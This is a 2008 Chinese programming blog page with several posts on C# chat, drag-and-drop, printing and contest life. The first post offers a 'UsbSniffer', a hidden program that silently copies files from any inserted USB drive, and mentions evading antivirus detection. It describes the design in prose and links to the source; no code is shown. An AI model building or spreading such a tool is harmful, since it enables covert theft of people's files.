SeeK.CS 创作自己的作品

思绪来去匆匆,偶尔在这停留。
随笔 - 10, 文章 - 0, 评论 - 53, 引用 - 0
数据加载中……

2008年4月30日

UsbSniffer---U盘资料窃取器(C#版)

     前段时间发布了个C++版本的UsbSniffer,虽然只是个示例程序,但是还是得到大家的广泛关注。一直说要把C#版本的sniffer发布,可是由于种种原因(主要是期末考试与微软的“校园之星”复赛),今天才发。对不住那些一直关注的朋友拉~~

--------------------------

     这个程序的主要思想和C++版本的一样,都是定时(默认5s)扫描系统磁盘,寻找可移动磁盘。然后递归复制目录文件,但是在复制文件的过程里改进了一些,先判断修改日期是否正常,然后再进行复制。该程序隐藏了界面,为了不被杀软暴毒,在系统托盘里注册了NotifyIcon,有其他需要的朋友自己修改。并且支持日志记录,ini文件读写等功能。好了,废话不多说了,开源才是硬道理!欢迎回复交流!

 

http://files.cnblogs.com/seek/YetAnotherSnifferU2.zip

 

posted @ 2008-07-25 23:29 seek 阅读(585) | 评论 (6)编辑

备战微软“校园之星”复赛……

N久没写随笔了,最近一段时间事情胡多——期末考试、考研班、微软校园之星复赛……

不过说起来最值得关注的应该就是校园之星复赛了。很幸运,上周五接到通知说已经成功晋级复赛现场,意味着7月22号在

成都复赛现场参赛,争夺决赛资格!N个通宵的努力总算没有白费,引一段提交项目后在校内上写的几段话:
引用
到目前为止本人已经连续31个小时未合眼了。从上个星期的这会起就没有清闲过。前两天的每天文挡编写到凌晨2点。从上周四开始到现在平均每天的睡眠时间不到2小时。连续3天呆宿舍编码,吃饭都不下楼。之后转移到机房干到现在。

   做什么呢?一个网络办公系统,1周时间出来,还要有详细说明,测试计划,用例及报告。不过值得庆幸的是4人团队中还是有一个能顶事的。当然其他人也都很配合很默契。最终共同完成了这个OA~~


今天又接到通知说后天开始的暑期实习我可以不参加,真是振奋人心啊!想想在学校实习能学个PP么,纯粹浪费时间。这次

准备外面租个房子,继续上政治辅导班到19号,然后回学校准备20号的起程!这段时间还要抽空再看看提交的OA,数据结

构等等。这次过去不拿到决赛参赛权绝不回来!预祝自己及所在团队取得成功!

posted @ 2008-07-14 22:35 seek 阅读(58) | 评论 (0)编辑

[趣味编程]CPU占用率曲线听我指挥

     摘要: 写一个程序,让用户来决定Windows任务管理器(Task Manager)的CPU占用率。程序越精简越好,计算机语言不限。例如,可以实现下面三种情况:1. CPU的占用率固定在50%,为一条直线;2. CPU的占用率为一条直线,但是具体占用率由命令行参数决定(参数范围1~ 100);3. CPU的占用率状态是一个正弦曲线。Google上搜索,可以找到第一题和第3题的C++描述。本人写了个C#版本... 阅读全文

posted @ 2008-05-25 23:03 seek 阅读(2240) | 评论 (15)编辑

[基础文章]浅谈文件拖放

.NetFramework2.0中为我们提供好了丰富的"后台资源",以便提高我们的编程效率.这里本人也结合自己做的聊天程序(见置顶文章)中遇到的问题来浅谈一下文件拖放.
步奏:
1、将拖放目标控件AllowDrop属性设置为True(并不是所有的控件都支持文件拖放哦^_^)

this.AllowDrop=True;
2、写拖放目标控件的DragEnter事件。
private void Frm_Chat_DragEnter(object sender, DragEventArgs e)
        
{
            
if (listBox.SelectedIndex != -1)
            
{
                
if (e.Data.GetDataPresent(DataFormats.FileDrop))
                
{
                    e.Effect 
= DragDropEffects.Link;
                }

                
else
                
{
                    e.Effect 
= DragDropEffects.None;
                }

            }

            
else
            
{
                MessageBox.Show(
"请选择一个用户");
            }

        }
3、写拖放目标控件的DragDrop事件
 private void Frm_Chat_DragDrop(object sender, DragEventArgs e)
        
{
            
if (listBox.SelectedIndex != -1)
            
{
                
//关键语句
                receiveFileName = ((Array)e.Data.GetData(DataFormats.FileDrop)).GetValue(0).ToString();
                
string[] filename = sendFile.Split('\\');
                
//MessageBox.Show(filename[filename.Length - 1]);
                string text = "FILE|" + listBox.SelectedItem.ToString() + "|" + username + "|" + filename[filename.Length - 1+ "|RQ|";
                
byte[] buffer = System.Text.Encoding.Default.GetBytes(text);
                Form1.netStream.Write(buffer, 
0, buffer.Length);
                btnFileTrans.Enabled 
= false;
            }

            
else
            
{
                MessageBox.Show(
"请选择一个用户");
            }

        }
到此,一个简单的文件拖放功能可以算是完成了。但是在实际应用中常常会出现“DragDrop注册失败”异常,这个问题是由于目标控件是在另外一个独立线程中打开。解决方法也很简单,只需表明当前线程为单线程单元即可。
   Thread loadThread = new Thread(new ThreadStart(Connect));
           loadThread.IsBackground 
= true;
           
//表明将当前线程设置为单线程单元
           loadThread.ApartmentState = ApartmentState.STA;
           loadThread.Start();

posted @ 2008-05-21 09:28 seek 阅读(195) | 评论 (1)编辑

[开源]MiniChat Beta 1.0——局(广)域网多人聊天程序,支持文件传输

 

一、作品简介:

MiniChat是本人编写的一款多人聊天程序,主要用于局域网或广域网内用户间的实时通讯。用户界面美观友好,支持公共聊天、私人聊天、聊天记录、文件传输、任务栏实时通知等功能。该程序采用C/S三层架构,多线程Socket通信方式。Cient端采用TcpClient类连接服务器,使用NetworkStream传送数据。Server端采用TcpListener监听本地端口,并使用多线程为每个用户建立独立Socket连接并与client通信。

二、主要功能:

1、 公共聊天。用户的聊天内容可被聊天室内所有用户看见。

2、 私人聊天。用户的聊天内容只对聊天双方可见。

3、 聊天记录。服务器端采用SQL Server2005保留所有用户的聊天记录。客户端采用access保存用户本人的公共、私人聊天记录。

4、 任务栏实时通知。服务器端采用最小化到系统托盘等技术,在有用户上下线,用户收发信息时均有类似于MSN的消息提示。客户端最小化时有相关信息时也有类似于MSN的消息提示。

5、 其他辅助功能例如字体颜色等。

6、 文件传输。用户可以采用P2P模式进行文件传输。

三、主要流程图:

四、其他说明:

该程序采用VS2005编写。运行时需要.netFramework2.0支持。其中服务端数据库采用SQL server2005,客户端使用Access。日志文件记录在程序启动位置的LOG文件夹下。主要地方代码中已经详细注释。
/Files/seek/MiniChatBeta1.0.rar

posted @ 2008-05-15 20:05 seek 阅读(851) | 评论 (9)编辑

C#中进行文本打印

     摘要: 问题描述: 做了个记事本程序,要求能按标准打印其中的文档,包括在每行文字数目上进行控制等。解决方法:一、搞清楚打印的过程:1、定义PrintDocument类,并且声明其PrintPage事件。privatevoidPrintDocument(){printDocument=newPrintDocument();printDocument.PrintPage+=newPrintPageEventH... 阅读全文

posted @ 2008-05-11 17:34 seek 阅读(1055) | 评论 (0)编辑

[原创]屏幕部分截取工具

     摘要:   阅读全文

posted @ 2008-04-30 09:52 seek 阅读(510) | 评论 (4)编辑